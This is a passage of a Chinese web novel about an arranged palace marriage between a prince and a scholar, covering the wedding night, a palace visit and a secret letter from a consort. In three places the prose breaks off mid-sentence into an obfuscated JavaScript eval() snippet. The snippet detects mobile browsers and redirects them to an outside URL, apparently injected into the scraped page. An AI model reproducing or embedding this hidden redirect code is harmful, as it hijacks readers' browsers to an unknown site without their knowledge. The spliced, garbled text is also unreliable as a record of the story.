鹤沅和竹君青假意跟宾客打了声招呼,无非就是说感谢诸位赴宴请吃好玩好云云。 接着两人酒下去逐桌敬酒了。 按照顺序,应先敬鹤沅那群皇亲国戚。 皇帝皇后已经借口有要事先离场了,首位便是长公主。 “兄长,嫂嫂。”鹤蛰见两人过来,立即站起身举酒相迎。 这还是竹君青第一次见到长公主潇安公主其真人。 虽说公主,鹤蛰自然面容姣好,眉目深邃,却跟人们寻常印象里娇气柔弱的公主不同。 因常年征战沙场,皮肤不似贵族女子一般白嫩细腻,反而是淡淡的小麦色且较为粗糙。 拿着酒杯的那只手也很宽大,甚至比很多男子的手更加宽厚,肉眼看去还能瞧见许多茧子和细细的伤口。 鹤蛰作为千百年难得一见的女将军,还如此年轻,名头比起他这个二十来岁的传奇状元郎简直有过之而无不及。 举国皆知,长公主鹤蛰豆蔻之年便跟着武将大人捉贼剿匪,及笄便初上战场,过五关斩六将所向披靡,桃李不过两三年就立下大功,一女当关万夫莫开,惊蛰将军之名实至名归。 鹤沅一向对自己妹妹较为温柔,只轻轻喊一声∶“阿妹。” 竹君青举起酒,直直地迎视着鹤蛰的目光,再郑重地低下头一敬∶“惊蛰将军。” 鹤蛰应下,也说道∶“小妹在此,还望嫂嫂鹤兄长幸福美满,白头偕老。” 说罢,三人皆举起酒一饮而尽。 鹤蛰饮酒的姿势很是潇洒——鹤沅与竹君青皆是双手握杯徐徐饮之,而她单手豪饮,好不畅快。 接下来几桌就是其余五位皇子和另一位小公主——加上鹤沅原本有七位皇子的,可惜三皇子早十数年就病死了。 皇子公主虽年纪不大,但毕竟深处皇家,都被教养的极好(除了鹤沅这个缺根筋的),面对竹君青也是尊敬有加。 然后再是皇后母族的几个诸侯王和国舅之类的近亲。 到了竹君青那一家又是不同。 竹辉有几分才能确乎不假,可他向来狗眼看人低,傲慢至极。 到了他的下一代,除了竹君青其余的子女皆是实实在在的废材,取其糟糠去其精华,脑袋一个比一个愚钝,脾气还一个比一个大。 正巧,敬完酒后竹宇又不安分了。 他一副意犹未尽的样子,拉着竹君青就开演∶“小弟啊,到了王府以后就要懂事了,身为王妃切记不可如以前那般张扬了,王爷公事繁忙,你就记得要多多操持一下家事啦,要守好妇人之道……” 话音刚落,几个竹家远亲就忍不住笑了出来,周围响起细细碎碎的嗤笑声。 竹君青忍不住皱眉看向竹宇,先是把他的手从自己的衣袖上扯了下来,再张口道∶“兄长倒是贤惠,对这些家长里短也是明理,不知是瞧上了哪位断袖,收拾收拾也准备嫁过去了。” 竹宇被怼得一噎,发觉过来后面色通红,差点没背过气来。 原先旁边的看客们还顾忌着竹君青好歹还是今日婚宴的主人,除了几个胆大的狗其余的还是不敢笑的。 现在被怼的换成竹宇就不一样了——这竹家大公子,整日不学无术,嘴巴和品性也不干净,要不是家世实在雄厚早就人人喊打了。 如今落了笑话,大家可都没收着,顿时哄堂大笑。 原本想着替竹君青出头的鹤沅也是听得一愣,反应过来后看着嘴巴功夫如此厉害的此人,嘴角也不自觉往上扬。 虽然不是所有什么七大姑八大姨远得没边的亲戚都要拜,但两人近亲和一些达官显贵的家族一一敬下来也要些许时间。 等各种杂七杂八的环节结束后,已经入夜了。 竹君青身体不适,后来一些不需要新娘参与的地方他就没去了,干脆早早回了房。 等鹤沅过去的时候,竹君青已经沐浴完在婚房中等他许久了。 看到竹君青坐在婚床上,他忽然没由来地紧张起来——两个男子…也要做那档子事吗。 怎么做…他可不会啊。 周围的侍女看鹤沅来了,便都心领神会地退下去、出了房。 一时间,屋内只剩他们两人,不过谁也没说话。 鹤沅甚至不敢抬头看人,感觉身上仿佛有蚂蚁在爬,手脚都不知道放在哪,脑海中好不容易编织出几句话,嘴唇张了半天却怎么也说不出来。 竹君青看他半天没动,疑惑道∶“你在干什么?” 听见声音,鹤沅身体里面那股暗流涌动的东西一下就飙上来了,涨红了脸,说话都说不清楚∶“我…我我……” 安城的五月已是温热,鹤沅跑了一天,年轻人本就火气旺,一紧张脸上的汗珠都砸下来几滴。 竹君青不明白他为何如此,只好提醒道∶“你需不需要先去沐浴?” 鹤沅马上抓着这个梯子向下爬∶“哦,对我去沐浴!” 说罢,便以迅雷不及掩耳之势进了浴房,顺带关上了门。 竹君青听着关门的脆响,看着一旁小桌上的准备好的换洗衣物,默默陷入沉思。 显然,鹤沅也发现了这个问题,又去而复返拿上衣物,再以迅雷不及掩耳之势回到浴房。 …… 竹君青默默为自己相公的脑子堪忧起来。 他叹下一口气,对着床内侧躺下来,从下面的枕头下面掏出一本小册子来看。 竹君青顶着一张俊脸,面不改色地看着自己手上的白皮书,如果不是书里面的图画有些过于辣眼,怕真有人认为他又在钻研什么学术了。 竹君青并不是那种只晓得读书的呆子,相反,他因为自己聪明反而“无恶不作”,寻常人家顽皮孩子做过的事情他几乎都做过,要不是因为身体不大好,怕是上天下地能把房子拆了。 嬷嬷偷偷把这本书递给他的时候,还有点不好意思,也没料到这位看起来跟白纸一样干净的状元郎能对春宫图看得津津有味。 他没做过,还不能看了吗。 少时生活在偏远的野乡,自然没这个条件享受鱼水之乐,姥爷看他没那个意思也没有给他与哪家女子说过亲。 到了尚书府就更加了,因为小玉是跟着他一起来的,他们还以为小玉是自己的通房,再加上本就对他不上心,也没有提议过给他置办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他走过去,躺在床上,动作间隐隐约约触碰到身边那人,便怎么也睡不着了。 婚床上只铺了一床被子,虽然并不狭小,反而十分宽大,两人之间也隔了一些距离,但总让人觉得脸红心慌。 到了夜里,空气中的温度逐渐冷下来,被子又是薄被,不知不觉竹君青的手脚已经冰凉。 他动了一下,下意识想把身体稍微蜷起来暖和一点,却不小心碰到了同床的人。 “你还没睡?”鹤沅的声音在黑暗中响起。 竹君青一愣,应了声∶“嗯。” 鹤沅抿了抿唇,犹豫着开口问道∶“你不高兴吗?” 说完鹤沅就后悔了,想打自己两个嘴巴——这不是废话吗。 竹君青倒是答得很快∶“没有。” “早就准备好的事情了,不会在来临的那一天还在伤感。” 鹤沅撇撇嘴,对这个回答也不是很满意。 他早就注意到了,竹君青今天一整天都没笑过,神情始终是淡淡的,有一种化不开的忧愁。 但他也不知道到底该怎么去哄,只能闷闷地说∶“抱歉,是我对不住你。” “你不必为此道歉,你我皆是被卷入王权斗争中的受害者罢了。” 竹君青的声音一向清脆明了,语气里总带着一股少年人的傲气。 “这桩婚事毁了我的仕途,也毁了你的帝王梦,彼此也算扯平了。” “你我和平相处也还不错。” “至于其他……我想要的东西,自然千方百计都得给它夺回来。” 5. 初见端弥 新婚的第二天早晨就要去看岳父岳母。 今儿个一早,竹君青和鹤沅就起床洗漱准备进宫了。 王府离皇宫有一段距离,两人只好乘马车前去。 不知道是不是昨日忙了一天太累了,今天又起得太早了,竹君青一路上都恹恹的,没什么精神。 上了马车没多久就神志不清了,不知不觉睡着了,路上马车颠簸,竹君青的头很快就歪到了鹤沅的肩膀上。 鹤沅先是被砸得一惊,侧过头去看,发现竹君青已经睡着了,又不敢动了,僵在那里,生怕吵醒他。 可惜没多久,马车就停下来了,外面的下人敲门道∶“王爷,王妃,到了。” 竹君青睡得不深,而且他睡觉本身就容易惊醒,听到声音马上就正起身,只是意识还是迷迷糊糊的。 他睡觉很容易断片——这个断片的范围大概就是在即将入睡的时候到睡醒一会儿。 很显然,这时的他没有发觉自己刚刚枕在谁的身上。 鹤沅没有看出来他睡懵了的状态,感觉他还是跟平常一样冷淡,就没有多问什么,只是自己先下了马车。 竹君青见车内的另一个人下去,自己也紧跟其后——却没想到这一觉的后劲太大了,他刚站起来脑内就一阵刺痛,眼前一片漆黑,全身都忽然失去了力气,摇摇欲坠。 鹤沅回头看他一副马上就要晕倒的样子,赶紧折返过来,一只手绕过他的腰身,一只手绕到他的腿后,两只手一发力就把这人抱了起来,再小心翼翼地放到地上,看他站稳了才把手放回原位。 竹君青这回终于反应过来刚刚发生什么了,点头跟他道了声谢谢。 鹤沅闻声,双手不自觉握紧∶“不必跟我如此生分。” 竹君青微微顿住,但也没把这话放在心上,认为只是寻常的客套话。 皇宫内不许宫外的马车进出,两人是在宫门口下车的,要到皇后的寝殿还要走一段路。 原本皇后派来轿子来接他们的,不过他们来时见到轿子还没来,想到皇后的寝殿也并不远,跟门口的侍卫留了一句话,就打算自己走过去了。 却没想到还没见到皇后,就先见到了宫中另一个流名在外的女人——景贵妃竹不然。 也就是竹君青的堂姐。 鹤沅多年没回安城,见到轿子上被簇拥的美人,下意识想行礼,却不知道对方是谁,只得在原地无措。 还是竹君青反应快,看清那人的脸就连忙行礼∶“在下见过贵妃娘娘,贵妃娘娘早安。” 鹤沅也赶紧学着竹君青的样子行礼。 高轿上的女人挺起身来,眯着眼看了半天,才略微诧异道∶“素闲。” 她又看向竹君青身旁的男子,迟疑道∶“你是…霖王。” 认出两人后,竹不然立即从轿子上下来,走到他们面前。 她已经在宫中生活许久,最擅长的模样就是端庄知性,现在却难掩激动。 “许久不见,素闲。” 竹君青也道∶“许久不见了,娘娘。” 一旁的鹤沅满脸惊异——他原以为竹君青和竹不然只是非常淡薄的亲戚而已,为什么现在看起来这么熟悉。 的确,虽说父辈已经分家,但竹君青跟竹不然还真有那么一段时间的交情。 竹不然欲说出的话又被这一句噎回去,只得道一句∶“好些年不见,阿弟又变了许多,倒是我这个姐姐生分了。” 竹君青的神色看不透心绪,总是那副冷漠的脸,他道∶“今时不比往日,娘娘身份尊贵,乃是千金之体,在下自然不敢冒犯。” 竹不然差点没挂住脸,只得匆匆扔下一句着急回殿有事,上了轿便离开了。 竹君青和鹤沅自觉站在一旁为他们让路,宫里修的路不太宽广,轿子与他们擦身而过。 或许竹不然和他就是这样,注定形同陌路,殊途殊途。 竹不然手撑在轿椅的扶手上,脑袋垂下来只能靠手掌支撑。 她忽然又想起十几年的那一天。 第一次见到竹君青,是她十一二岁的时候。 竹不然比他大四五岁,正是懵懂又顽劣的时候。 除了竹辉的孩子,竹家其他的后代也大多不成气候——说来也是稀奇,即使如此竹家每一家也都有那么一个惊世才人。 竹不然就是竹辉的兄长竹寒孩子,也是众兄弟姐妹中唯一一个有些出息的人。 竹不然五岁便能赋诗作词,十岁时就能写出寻常人寒窗苦读十八年都不一定能领悟的东西,是艳羡都城的才女。 她又是竹寒的嫡女,是他最先拥有的孩子,尽管男女不平可嫡庶也有尊卑,从小家里面的弟妹都对她尊敬有加,整个府里头的人都对她百依百顺。 她自命不凡,虽不会任性到整日惹是生非,但也打心眼里瞧不起身边任何人。 直到遇见竹君青。 那年竹君青不过六岁有余,却能在两个时辰内写出千余字的文章,大谈天下战事国家兴盛。 学院里,教书先生惊异的目光在他身上走了一遍又一遍,拿着卷轴看了又看,斜阳的光晕游过他的身侧,好似文曲星下凡。 此后,竹君青是唯一一个能读懂她写的诗词的人,是唯一一个能与她高谈理想的人。 可惜,往事如风,如今捕风捉影还有何用。 竹不然闭上眼,良久才直起身来。 “碧兰。”竹不然叫道。 碧兰是她的贴身宫女。 “娘娘,奴婢在这。” 竹不然说∶“本宫忽然想起一首好诗,想要献给皇上,等下到寝宫了准备些纸墨送到我卧房来。” “奴婢知道了,娘娘。” 竹不然琢磨了一会儿,继续道∶“我忽然想吃御膳房的桂花糕了,派人过去拿两笼过来。” “好的娘娘,奴婢这就去做。” 另一边,鹤沅和竹君青已经在跟皇后敬茶了。 皇后神色温和,竹君青镇定自若,鹤沅这个皇后亲儿子促立不安。 皇后看着自己儿子这个手脚不安的样子,不免得叹了口气,挥挥手,说∶“长恨,你帮母亲做件事,跟春泽去别院里把那个楠木盒子取过来,我们在这等你。” 长恨是鹤沅的字。 鹤沅听到有任务发放,赶紧照做,马不停蹄地出房和春泽大宫女去取了。 一时间,室内只剩皇后和竹君青二人。 皇后抬头,敏锐地捕捉到竹君青打量的眼神。 竹君青到底是在心性上比不过皇后这种老江湖,率先败下阵来∶“皇后娘娘…” 皇后打断他∶“素闲,我知道你是个好孩子。” “是皇室对不住你,可我也希望你能跟长恨好好过日子。” 皇后说着,站起身来,走在竹君青身旁。 “长恨那孩子,就是老实缺心眼,偏偏又生在诡计多端的皇宫中。” “以前我总想要给他和长雨最好的,一心想让登上高位…可惜,现在大概不可能了。” 皇后看着竹君青,看着他的眼睛,直直地说∶“他认定了你,就不会负你。” 竹君青被吓出一身鸡皮疙瘩∶“…皇后娘娘何处此言?” 皇后轻哼一声,说∶“长恨那家伙什么心思都写在脸上,半点事都藏不住,他看你的那个眼神,我还能不懂?” “朋友,亲人,他一向都是这样,认定了一个人,就一定要对他好,恨不得掏心掏肺。” “现在早就不必以前,不说寻常人,就连很多贵族一夫多妻都很是少见,本就不指望他天天往战场上跑还纳妾,现在认了呢,怕也舍不得让你受委屈。” 这话不假,前朝的时候绝大多数百姓都是一夫一妻了,官僚贵族差不多一妻一妾,只有皇帝千年不变莺莺燕燕后宫成群。 可子嗣不可无,婚约定下来一段时日后,皇后问过鹤沅想不想纳妾。 鹤沅愣神半晌,似是没有想过这个问题,回神过来又赶忙拒绝。 他说∶“不行,他本来就因为嫁给我受了许多委屈,我再纳妾岂不是在羞辱他。” 大病一场的皇后野心不减,可她看着自己的孩子又没办法再强硬了。 皇后最终只是摇摇头——罢了,大不了老了也有侍女奴仆照顾他们。 思绪回笼,皇后看着竹君青一知半解的样子,盘算着鹤沅他们应该快回来了,继续道∶“你是个聪明人,如今和长恨已经是一条船上的蚂蚱,应当知道该怎么做,我不会要求别的,只要你跟他好好过日子,我自然也会罩着你,无人能低看你一眼。” 话音刚落,门外便传来窸窸窣窣的声响。 “母亲,我拿来了。”鹤沅把盒子递给皇后。 皇后接过,打开盒子——赫然是一条品相极好的玉镯。 青绿透彻,浓郁蜿蜒。 皇后取出来,拉过竹君青的手,给他戴上∶“不值钱的东西,是家里传下来的,不嫌弃的话就带着吧。” 竹君青惊讶不已,刚想组织语言开口拒绝,却又被皇后塞了回去∶“好了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977870|161431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候也不早了,我就不留你们用膳了,早些回去休息吧。” 皇后的手心温热细腻,挨着竹君青的手腕,冷玉灼灼。 临走前,皇后又说∶“素闲,我也是你的母亲。” 出宫的路上遇到一位不速之客。 竹君青对她有点印象,是之前见到竹不然时她身边的一位宫女。 宫女拿着一只食盒,朝竹君青走来、递过去。 “霖王妃,这是我们家娘娘给你的,她不知道昨日您大婚该送什么,只知道您幼时喜食桂花糕,特叫我送来,还望您不嫌弃。” 竹君青伸手接过,手指在摸到食盒底下一个凹槽时愣了一下。 不过很快,他就调整了回来,低声谢道∶“臣多谢娘娘。” 回府后,还没到饭点,府中的管家来找竹君青打理财务,他也就忘记处理那盒桂花糕了。 霖王府大大小小的事务以及方方面面的用人,都是之前皇后亲自打点的,可以说没有任何问题。 不过府中事务繁多,中途竹君青去吃了个午饭,等管家一一与竹君青交接完后早就日下三竿了。 竹君青拿着手中刻有“霖”字的金符,捺擦着,心里默默盘算起来。 按道理说,身为王妃的确应该掌管府中的内事,可从前他读过书少有教他这些,与理想相违背的巨大落差一时间让竹君青难以接受。 他突然感到迷茫,不明白自己在做什么,不明白自己一个做什么。 直到老管家苍老的手放在他的肩膀上。 “王妃,不必困扰,做你想做的事吧,大不了这府中还有我,还有很多人,把王府料理好并不是难事。” 竹君青没有回答,只是跟着他继续走,以至于什么时候回到的卧房都不知道。 他坐在床上,小玉这时正好过来。 “公子!你来了。” 她手里还端着一碗药,浑身上下弥漫着难以掩盖的药木气味。 看见竹君青回房她好像十分高兴,也没有察觉到竹君青的情绪,如同往常一样在他面前叨叨着。 竹君青看着她,突然问道∶“小玉,跟着我你受委屈了。” 听到竹君青的声音,小玉立马停了下来,听完话后,又惊异地问∶“公子,为什么要这么想?” 她坚定地说∶“小玉并不委屈,公子对于小玉来说,就像是亲人一样,只要还跟在公子身侧,小玉就很幸福。” 竹君青眨眨眼。 小玉并不是买来的下人,而是自愿跟过来的。 那年竹君青刚到山林里,与姥爷生活不到一年,就捡回来一个这么东西。 她没有名字,竹君青和姥爷问她家人在哪,她却说她没有家了。 后来他们才知道,小玉的父母生了几个孩子,可是家里的粮食却实在不够这么多人吃了,只好狠心把小玉抛弃在这大山上。 那个时候的小玉还没有现在这么细心活泼,但好在吃苦耐劳,跟着竹君青和姥爷也识得不少字,能干得很。 后来小玉的父母找到她了,问她愿不愿意回去。 “你们已经把我丢下了,早就找不回来了。” 说的这么狠心,后来大晚上偷偷趴在竹君青身上哭∶“我也想回去,可是我不想成为他们的累赘。” 又过了一两年,小玉的弟弟找到她,说∶“阿爸阿妈死了。” 小玉又大哭了一场,说现在只有姥爷和竹君青是她的家人了。 再后来,姥爷死了,小玉只能以侍女的身份和竹君青一起进府。 小玉原本可以去别的地方,她不仅能干还识字,想要谋一份生路并不难。 但她说∶“公子是我唯一的亲人了。” 于是就这样,心甘情愿把自己卖给竹君青,甘愿做一辈子的侍女。 世间只剩下他们二人相依为命了。 ———————————————— 喝完药后,竹君青的目光又落到那个食盒上。 “小玉,帮我把那个食盒拿来。” “好的,公子。” 小玉把食盒捧到竹君青面前,竹君青伸手接过,摸索了一会儿,找到那个开关,用手指微微一翘,一张纸掉出来。 竹君青把食盒交给小玉∶“小玉,把这盒桂花糕给府里的大家分了吧。” 小玉看到他手上那张折起来的纸,顿时心领神会,拿着食盒出了房门。 房中无人,竹君青将那张纸打开。 “别来无恙,久疏通问,时在念中。” 6. 下次一定 【别来无恙,久疏通问,时在念中。】 竹不然趴在床上,用手撑着身体,艰难地写着。 床帘已经拉下,密不透风,只有薄薄的光透进来,让她勉强能看清事物。 如果有人瞧见她这副样子,就会发现她不只是姿势奇怪,左手手肘撑住了身体,右手写字的手却根本稳不住,拼命地抖,写出来的字也歪歪扭扭难看至极。 而竹不然的脸色早已苍白,毫无血色。 【我进宫已有两年,却有三年多没见到你了,能再次重逢,感激涕零。】 【请原谅我,作为妃嫔并没有皇后那般通天的本事,宫墙高厚,难见天日,你的近况我也是今日才得知。】 【浮生金榜顶,公子世无双。】 【可惜乱世不怜才子,如今百姓们尚生活在安乐之中,却不知觉暗波汹涌,朝堂关系错综复杂,已是千疮百孔,而边塞也不平静。】 【如同蛛网,摇摇欲坠。】 【我总在盼望该如何回到从前,还能饮酒作乐、高谈阔论,可怜光阴已逝,物是人非,只希望今后能安好,苟且一生罢了。】 【芜尘居士寄予浮生公子。】 写完最后一字,竹不然早已支撑不住,手上一滑笔在纸上留下重重一痕墨迹。 她却根本没有精力去管,只是整理好,等墨水干了,就将纸折起来,藏在袖子里。 她把笔墨放在一旁,躺在床上,朝外叫道∶“碧兰。” 很快,一阵脚步声靠近,床帘被拉开。 “娘娘,怎么了?” 竹不然凑近,低声在她耳边说道∶“盒子,换好了吗?” 碧兰神情瞬间变了,说道∶“娘娘是想吃桂花糕了吗,御膳房已经送来了,奴婢这就给您拿来。” 说着,便端来一个食盒。 竹不然接过,悄悄将纸片拿出来,再瞬间按下盒下一个凹槽,将纸片塞进缝隙里。 完成后,她大声说道∶“这么多,我可吃不完…不如送一盒给霖王妃吧,他成婚,作为姐姐我也没有送什么礼,只记得他小时候爱吃这个,给他送过去吧。” 碧兰恭敬道∶“奴婢这就去办。” 这时候,卧房的门被敲响了。 太监尖酸的声音传来∶“贵妃娘娘,皇上诏你去寿康宫。” 寿康宫是皇上的寝殿。 竹不然面色一白,身体都止不住发抖,冷汗直冒,却只好应道∶“本宫知道了,先容我整理一下着装。” —————————————————— 竹君青将信看完后脸色也阴沉起来。 什么意思。 乱世…什么意思,顺安不是盛世吗。 他深知竹不然品性,断然不会拿这种事欺骗自己,可为何她口中的顺安和大家所知的顺安完全不同。 其中必有蹊跷。 那在皇上身边的她还安全吗——不对。 竹君青立马将目光重新放回信上——一开始他就十分奇怪,少时竹不然一手小楷可是数一数二的好看…可现在这个字迹。 宫墙高厚,怕是凶多吉少。 她是在向自己求救吗? 如果是这样,他又该如何救她。 竹君青将信折好,从卧房一旁的书架上抽出一本书,打开、夹进去——这里的书都是自己带来的。 他整理了一下心情,便推开房门出去。 “啊!” 刚推开房门,就看见房门口站了一个大块头被自己吓了一跳。 这个笨拙的大块头自然是他的相公——鹤沅。 “你吓死我了。” 竹君青也被他搞得一惊,问他∶“你站在这里干嘛?” 鹤沅支支吾吾,好半天憋出来一个∶“叫你去吃饭。” 竹君青狐疑地看向他,最终还是没有说什么,抬脚准备离开。 鹤沅鬼鬼祟祟地跟上他,一副欲言又止的样子。 竹君青感觉自己后面像是一只猴在挠他,忍不住说∶“你想干什么?” “呃……” 鹤沅又支支吾吾了起来,好半天才犹豫着小声开口∶“我虽然不介意你跟别人交往,但你也不要偷偷跟别人私自通信吧…还偷偷摸摸的。” 竹君青听到这话,表情顿时严肃了起来∶“你在偷看?” 鹤沅一看他这副神情,心里大叫不好,说∶“我不是故意看的啊!那门有一条缝,自己露出来的,我不小心看到的。” 竹君青眉头一抽,咬牙切齿道∶“好,等下我就拿木板把它封上。” 鹤沅又说∶“不行吧…那我们以后怎么进出。” “不用进去了,我睡在外面,睡在院子里,府里面所有人想看就看,你就不用偷看了。” 鹤沅被怼得一噎∶“……” “那我能跟你一起睡在外面吗?” 他又小心地说。 竹君青∶“?” 鹤沅看他一副拒绝的样子,赶紧上去说道∶“你该不会不知道吧,在我纳妾之前,你每晚都要跟我一起睡。” 闻言,竹君青恶狠狠地说∶“我明天就给你纳妾。” 鹤沅听到这话顿时不干了∶“凭什么?我还没同意呢,你就这么嫌弃我?” 竹君青轻笑∶“两个大男人睡一张床干什么,击剑吗?” 鹤沅一时间没有反应过来他什么意思,意识到有顿时羞红了脸∶“你!” 竹君青没理他,一个人快步走了,只留下鹤沅一个人在原地懊悔。 搞什么啊,不是说竹君青这种小仙男都是呆板的书呆子吗,不是纯洁的翩翩君子吗,怎么还说荤话…… —————————————————— 到了晚上回房,竹君青先去洗澡了。 他向来爱干净,身上有一点薄汗和味道都受不了,今天走了一天,夏日本就炙热,身上已经有些粘腻。 鹤沅刚回安城,大婚这几日父皇又给他放了假,没什么事情可做,只好在卧房等着竹君青。 他躺在床上,手不小心按到里面的枕头——怎么有块凸起都地方。 鹤沅顿时来了精神,把枕头掀开一看,发现下面有一本小册子。 他拿过来一看,封面是白的,打开一看——脸是红的。 手一抖,书砸在了脸上,里面都有场景在他眼前不断放大,羞得他整个人都热了起来。 这不是春宫图吗? 画的还是两个男人! 他什么时候有的这种东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977871|161431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,他可从来没看过啊…既然不是他的,那是——竹君青! 鹤沅把小册子拿起来,气鼓鼓地看着,一边看着这辣眼的场景,一边在心里编排着竹君青。 他原本还以为读书人心无旁焉,谁知道竟如此重欲,竟还看这种不干净的东西。 难道有这种欲望不能叫身为夫君都自己满足他吗——不对,他还真不能。 他不会做啊。 鹤沅灵光乍现,心里忽然一片明了——难怪竹君青昨晚一直在问他做不做,原来是因为他早就看了这种东西,知道该怎么做,等着看自己笑话呢。 鹤沅顿时认真起来——那自己也不能输给他,也要偷偷学会这种技能,到时候让竹君青刮目相看,打他个猝不及防。 可是这图画得…太开放了吧。 竹君青竟然喜欢这种姿势吗,他这么狂野的吗? 鹤沅内心的观念被炸得粉碎,热得整个人都要烧了一般。 恰好这时,浴房的门被打开,听见声音鹤沅被吓得一激灵,手忙脚乱地想把春宫图藏起来,却已经来不及了… “你在看什么?” 竹君青看鹤沅一副做了贼的模样,脸还像发了烧一样红得冒火,目光下移看到他手上拿着的东西,整个人都都愣在原地。 鹤沅这个时候脑子倒是转的快,赶紧反过来指责竹君青∶“还不是你的东西,你怎么能看这种东西?!” 竹君青扶额,走上前伸出手想要把小册子拿回来∶“我已经弱冠了,看这种东西不是很正常吗?” 刚洗完澡的竹君青身上还沾着热气,发梢是湿漉漉的,因为想要抢回书,跟鹤沅贴得极近。 里衣的衣领被他弄得越来越开,鹤沅甚至可以看到他白皙皮肤上细腻的纹路,可以看到他呼吸的波动。 鹤沅一个鬼迷心窍,手扶上他的肩膀,一种本能在他的身体里叫嚣起来,催促着他赶快扑倒面前这个柔弱的人。 当然,鹤沅也确实这么做了。 他原先还能劝说自己,平常在兵营里他那群弟兄欠揍的样子看了也挺让人给他一推的。 不过当自己把竹君青推倒在床上、压在他身上时,看着对方白里透红的绝世容颜,艳丽又清秀,发丝散乱着,衣领大开,因为被莫名其妙推倒眼中的困惑显得很是无辜,鹤沅脑子都要炸了。 竹君青不解,但他有种不妙的预感∶“你要干什么?” 鹤沅的目光又放在他发出声音的唇上——竹君青的嘴也生得十分好看,红润,唇形大小也正正好,看起来十分柔软…秀色可餐。 “…我能不能,亲你一下。” 竹君青沉默了。 但鹤沅已经管不了这些了,他一只手摸上竹君青的脑袋,俯下身去…… “你洗漱了吗?” “……” 鹤沅停了,停在离他嘴唇只有一指宽的地方。 竹君青看他没动,心道是好机会,双手捧起他的脸色,把他推开。 “滚去沐浴。” “……” 鹤沅不语,只是沉默地在一旁的桌子上拿了换洗的衣服进了浴房。 竹君青见他走了顿时松了一口气,然后低头一看发现自己身下的异样。 ……草。 7. 浮生素闲 那天晚上还是什么都没发生。 竹君青,风流倜傥二十一年,归来仍是处男。 鹤沅,英俊潇洒二十六年,归来仍一身清白。 第二日,鹤沅一大早就去上朝了,竹君青则是睡到日上三竿被小玉叫醒的。 “公子,都快到午时了,该起来了。” 竹君青迷迷糊糊地睁开眼,起床穿衣洗漱。 这也是他的一个毛病,虽然自幼因读书日日早起少有懈怠,不过只要一旦有机会休息就没有了时间观念。 几十年了,他只能靠别人叫醒,不然要他睡一天都可以。 等竹君青整理好,刚巧到了饭点,下人来跟他说鹤沅今日在外有事,午饭不回来吃了。 竹君青也没想着等他,干脆就一个人慢悠悠地吃了起来。 中途,府门口好像有人来,竹君青还以为是鹤沅回来了,结果只看到小玉拿着一封信跑过来。 “公子,是小宋公子来信。” 小宋公子自然是宋明怀——他是当朝刺史家的庶子,因为年纪比他大哥要小上不少,刺史又只有他们两个孩子,对他颇为宠爱。 竹君青打开信看了一下,大概就是关心他到王府生活得怎么样云云,然后邀请他来茶楼聚会。 那家茶楼也算是都城最火爆的茶楼,除了楼中特色的吃食,身怀绝技的艺妓,就是他们这群读书人常在楼上“吵架”最为有趣了。 回到都城的那年竹君青16岁,被竹府送去国子监读书,就在里面认识了他们这群朋友,茶楼则是他们之中某位的家产。 竹君青19岁时,他们便嚷嚷着要参加科举,竹君青没办法,只好跟他们一起去了。 也没想到,来年考得最好的竟然是年级最小的竹君青——直接中了个状元。 其余人也高低中了个进士…哦还有一人得了个探花。 若说在都城中还有什么可依靠的,竹君青也是大概只有他们了。 被封为霖王妃后他就被撤去了在翰林院中的职位,闲来无事,他也就答应了,吃完饭便带小玉去了茶楼。 茶楼有两楼,一楼是散座,二楼是包厢,他们一般在二楼活动。 刚进茶楼,就听到干事的伙计吆喝道∶“呀——是浮生公子,浮生公子来了。” 那个伙计吆喝完就过来招待竹君青∶“浮生公子,他们都在二楼韵意厢等你呢。” 小玉一向不参加他们的活动,就跟着伙计去别的地方玩了。 “好。”竹君青道了声谢,就上了楼。 …… “哟,素闲你可算来了。” 竹君青推开厢门,就听见有个家伙在喊他。 一抬眼,包厢烟雾缭绕,香气扑鼻。 大热天的,这群家伙…竟然在吃火锅。 竹君青面色复杂∶“你们叫我来就是吃顿火锅?” 刚刚那个叫他的青年立马放下碗筷迎上来∶“你吃了吗素闲,我们以为你吃了就没加你的碗筷…刚好我吃完了你要不要用?” 闻言,竹君青整个脸都皱成了包子褶,一副嫌弃的意味∶“那知府大人该好好反省自己了,家里是破产了吗,一个茶楼连副碗筷都没有了。” “竹素闲你又骂我爹!”对面的人气得跳脚。 这位便是安城知府嫡子——江陵川。 竹君青没理他,走进里面找了个空位做了下来,江陵川还围着他叨叨个不停,痛斥他老看自己父亲不爽还天天明理暗里阴阳他云云。 “竹素闲我告诉你,你再骂我爹我就告诉他,以后不让茶楼招待你了。” “前几个月他又看见你写文章阴阳他,我爹一把年纪了差点给你气得驾鹤西去。” 竹君青受不了,伸手一把把他脑袋按下来,怼到桌子上。 “啊——竹素闲我就知道你居心不良,终于露出马脚了吧…呃,竹素闲你放开我你放开我。” 江陵川扑腾的样子极为戏剧,旁边的兄弟已经憋不住笑出声了。 